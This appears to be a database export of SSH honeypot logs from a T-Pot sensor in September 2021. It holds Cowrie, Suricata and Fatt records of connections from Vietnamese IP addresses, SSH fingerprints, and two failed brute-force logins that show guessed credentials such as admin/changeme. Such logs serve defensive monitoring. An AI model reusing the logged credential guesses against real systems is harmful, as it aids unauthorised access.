22301	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:00.48988+03	2021-09-20 14:15:04.761652+03	{"_id": "lgbjAnwBvYTbRNuERQWH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:37584 (192.168.176.2:22) [session: 53e384f69b66]", "session": "53e384f69b66", "@version": "1", "protocol": "ssh", "src_port": 37584, "dest_port": 22, "timestamp": "2021-09-20T11:07:00.489880Z", "@timestamp": "2021-09-20T11:07:00.489Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
39986	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:36:38.383253+03	2021-09-20 15:45:03.499019+03	{"_id": "4wY1A3wBvYTbRNuEU3Zz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 47538, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 887784778160405, "@version": "1", "in_iface": "enp5s0", "src_port": 37501, "dest_port": 53, "timestamp": "2021-09-20T12:36:38.383253Z", "@timestamp": "2021-09-20T12:36:38.383Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
22302	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:00.485808+03	2021-09-20 14:15:04.762639+03	{"_id": "oQbjAnwBvYTbRNuERQWH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "ab4c74b72514", "@version": "1", "duration": 2.715489149093628, "timestamp": "2021-09-20T11:07:00.485808Z", "@timestamp": "2021-09-20T11:07:00.485Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22303	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:00.731348+03	2021-09-20 14:15:04.763649+03	{"_id": "ogbjAnwBvYTbRNuERQWH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "bb6ee8128784", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:00.731348Z", "@timestamp": "2021-09-20T11:07:00.731Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22304	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:00.871039+03	2021-09-20 14:15:04.765643+03	{"_id": "owbjAnwBvYTbRNuERQWH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "ef2667f17182", "@version": "1", "duration": 2.800694704055786, "timestamp": "2021-09-20T11:07:00.871039Z", "@timestamp": "2021-09-20T11:07:00.871Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22305	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:00.6942+03	2021-09-20 14:15:04.766642+03	{"_id": "mgbjAnwBvYTbRNuERQWH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [admin/changeme] failed", "session": "866f50c91ccd", "@version": "1", "password": "changeme", "username": "admin", "timestamp": "2021-09-20T11:07:00.694200Z", "@timestamp": "2021-09-20T11:07:00.694Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22306	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:59.823316+03	2021-09-20 14:15:04.767642+03	{"_id": "pgbjAnwBvYTbRNuERQWK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39436, "timestamp": "2021-09-20T11:06:59.823316", "@timestamp": "2021-09-20T11:06:59.823Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22317	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:00.648641+03	2021-09-20 14:15:04.781612+03	{"_id": "sQbjAnwBvYTbRNuERQWK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [matsumoto/matsumoto] failed", "session": "4f21cc6405e9", "@version": "1", "password": "matsumoto", "username": "matsumoto", "timestamp": "2021-09-20T11:07:00.648641Z", "@timestamp": "2021-09-20T11:07:00.648Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22307	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:59.823745+03	2021-09-20 14:15:04.769643+03	{"_id": "pwbjAnwBvYTbRNuERQWK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 39436, "dest_port": 22, "timestamp": "2021-09-20T11:06:59.823745", "@timestamp": "2021-09-20T11:06:59.823Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22308	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:59.848928+03	2021-09-20 14:15:04.770642+03	{"_id": "qAbjAnwBvYTbRNuERQWK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 38418, "dest_port": 22, "timestamp": "2021-09-20T11:06:59.848928", "@timestamp": "2021-09-20T11:06:59.848Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22309	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:06:59.95407+03	2021-09-20 14:15:04.771649+03	{"_id": "qQbjAnwBvYTbRNuERQWK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 45958, "dest_port": 22, "timestamp": "2021-09-20T11:06:59.954070", "@timestamp": "2021-09-20T11:06:59.954Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22310	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:00.4185+03	2021-09-20 14:15:04.772652+03	{"_id": "qgbjAnwBvYTbRNuERQWK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37880, "timestamp": "2021-09-20T11:07:00.418500", "@timestamp": "2021-09-20T11:07:00.418Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
